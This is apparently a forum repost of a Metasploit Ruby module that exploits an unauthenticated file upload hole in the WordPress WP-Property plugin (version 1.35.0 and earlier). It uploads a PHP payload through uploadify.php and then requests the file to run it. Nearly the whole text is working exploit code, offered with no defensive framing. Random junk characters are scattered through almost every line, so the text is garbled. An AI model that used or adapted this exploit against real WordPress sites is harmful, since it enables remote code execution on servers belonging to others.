WordPress WP-Property PHP 文件上传漏洞
3 m! |0 B2 D) w; z0 h; ]6 v* t% B" e7 G$ L) ]
## # This file is part of the Metasploit Framework and may be subject to
2 H2 m( p' S1 W9 @6 W) d, E7 ]
" [. D/ h4 S. j# Q; D1 m% [. t# redistribution and commercial restrictions. Please see the Metasploit! t: i% J. e+ {# K- @
4 I) H Q7 J9 y# i, @5 w) `# Framework web site for more information on licensing and terms of use.7 L/ Z N" p$ ]. J5 y8 Y- V4 t t2 \# h
2 f% W7 E- J/ O/ Q5 z( M# http://metasploit.com/framework/ ##
$ w: G B$ h, `5 e* D! L% O& _- H
0 n _; M4 f9 e! t6 C$ b4 y) n 9 f& ^5 t! B- h7 Y1 Z0 t$ `
) [# }9 E. A* |" L4 g! ]) ~
7 P2 w7 X9 E2 L; y& i2 V9 ~
: k) g6 ~$ u2 Xrequire 'msf/core'
O' B% D5 y, rrequire 'msf/core/exploit/php_exe'
3 I+ S# C! v( n9 t! R5 v1 w
; Y8 \$ g0 L; o# K+ S1 @6 w ^class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
# A* }+ }9 {7 ?5 o; c) j'Description' => %q{. g: C/ t* |2 S* \9 ]/ F8 m
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>+ \. Q7 _$ j ?: V
[6 J! ], d/ M, L9 s* [) `1 C
'Sammy FORGIT', # initial discovery
- D: i* c1 Q, ~+ _; T4 J6 N'James Fitts <fitts.james[at]gmail.com>' # metasploit module
7 I W! U; f" B) ?; x],5 v0 z; d+ z/ y8 n7 I) |6 \
'License' => MSF_LICENSE,
! P' t" E5 [6 l" D- N'References' =>
6 f/ h f3 d& u7 d; S G' g[
w5 O0 G) B y( N! Z. u[ 'OSVDB', '82656' ],
+ D/ o( o, T7 v+ L2 K7 }# [[ 'BID', '53787' ],
$ ^+ @; `* b) D) d" P5 ?" r[ 'EDB', '18987'],$ ^+ w* ~9 u" L- n% `
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]( D7 L; d3 Y3 {& V( K: ^) a
],
9 k4 {' e& i E7 w. \3 _* M+ h( c'Payload' =>
3 T2 ?. e3 E7 a$ L8 |# [7 s{5 }2 d9 n- {) R# `6 r
'BadChars' => "\x00",
. k2 W" v3 b& d3 |},
1 K" M( _- h; h2 s" L; l'Platform' => 'php',
( }7 J+ R- R4 b'Arch' => ARCH_PHP,& N# J9 G4 s: l) o) R8 P2 z
'Targets' =>* l! n8 ^) }; [) x
[8 H9 A5 c- r1 N) U5 @- c
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],9 E5 f/ C6 _) |6 ?7 y7 Q- D$ ^
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]! t6 J% @) f; l+ F# u) G3 x0 |
],- `, Q7 C& \$ u0 ~9 \& H. U
'DefaultTarget' => 0,
9 {- X1 G8 |7 @'DisclosureDate' => 'Mar 26 2012'))
8 A, ~9 D6 n( a, U7 Q- u* ?1 J. l6 S n6 \1 A4 r- {5 ^ H
register_options(
- i% ^3 ~' a2 e[
4 m! J8 S* j! g( G7 q1 L$ Q8 e- BOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']). u1 x5 }& D; q9 ]2 q
], self.class)
2 X% q Q+ l' Z; |+ |end9 T# B) O2 F; U* {* a
/ v7 G( Q3 a, H
def check
/ Z# T0 U7 w4 c W, L; suri = target_uri.path: b1 [5 G9 H. v8 s# H, B
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
% G$ @! X; v/ }; }( E" d5 P& m'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"6 ?4 }: d/ d0 R4 d: I/ [4 ~5 I
})/ T' g0 G' h: P* S& }
2 _6 e1 P7 u/ C/ nif not res or res.code != 200+ K- w/ \1 V6 ^$ p
return Exploit::CheckCode::Unknown
1 a6 B4 V6 p) f/ A7 X. R4 Yend
" g% `$ f* U: j7 i( v A& o' R& i
# {; g1 L3 l6 k6 g* P1 r- y0 ~$ ^( hreturn Exploit::CheckCode::Appears
9 O7 j; H0 |' Z( Kend1 _) ?# e; {3 @7 M
- v% E% k) _. v9 A6 [def exploit$ G2 @8 m+ j# q( P) x
uri = target_uri.path7 O" i4 n# ?- }' B a$ j
uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)$ R5 J7 ?$ c+ s' Q7 Q+ g
: E l8 `# }$ z8 j" q! m) hdata = Rex::MIME::Message.new! X! O* T8 h; P2 E% P, S
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\""). |9 y4 m% C$ _1 T) ~& b" G/ k
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
6 Y! c" n0 @% X0 b$ R) l! b/ |3 ?post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
% r, C" ~' z) U Z l5 q
0 s O G5 A; w0 j4 Y+ Z4 hprint_status("#{peer} - Uploading payload #{@payload_name}")
# }4 n2 _& k' e1 J6 n" ]res = send_request_cgi({: Q% M1 i7 H! u' j/ u
'method' => 'POST',9 _) c1 @: t3 m2 ?" R
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
W5 |1 s" P" e; B% y% ~1 Z; s2 y'ctype' => "multipart/form-data; boundary=#{data.bound}",! \: O" {1 u$ t- Q) I# k0 ?) T4 a7 S
'data' => post_data7 y( g! U" X: h) n7 c; c( m8 Q
})
; M S/ Y( z2 T6 H% k
( t2 s5 d6 M2 \7 rif not res or res.code != 200 or res.body !~ /#{@payload_name}/
# k% G" Z/ d& {6 _fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
8 m$ u$ D$ a8 j1 H& Oend
) C. u& T5 R$ ]2 R, G" t
, c) _# A4 F: K& e/ _, gupload_uri = res.body
$ i8 j0 q6 ]; @
6 A6 }: M; M5 u; z; R) t) Kprint_status("#{peer} - Executing payload #{@payload_name}")
3 E% z$ z9 B' p8 t6 c9 mres = send_request_raw({3 k* D5 i; i# o8 g# ^% Z
'uri' => upload_uri,/ r4 o; v6 V' _5 v N3 T6 L1 i4 r- t
'method' => 'GET'2 f' h& I- a. \5 _1 q
})6 ]9 D: o9 I( j7 _
end
. ?5 X" v0 A5 i- ]3 Oend
, G& X3 P2 q: M5 R8 {7 c4 Y8 w! z: F3 m, T' }& t; r2 J
不要问我这写的是什么 怎么利用 我是说msf.2 g8 a4 r7 L3 G2 d; A- h, O. M
2 V2 e8 y1 q2 x |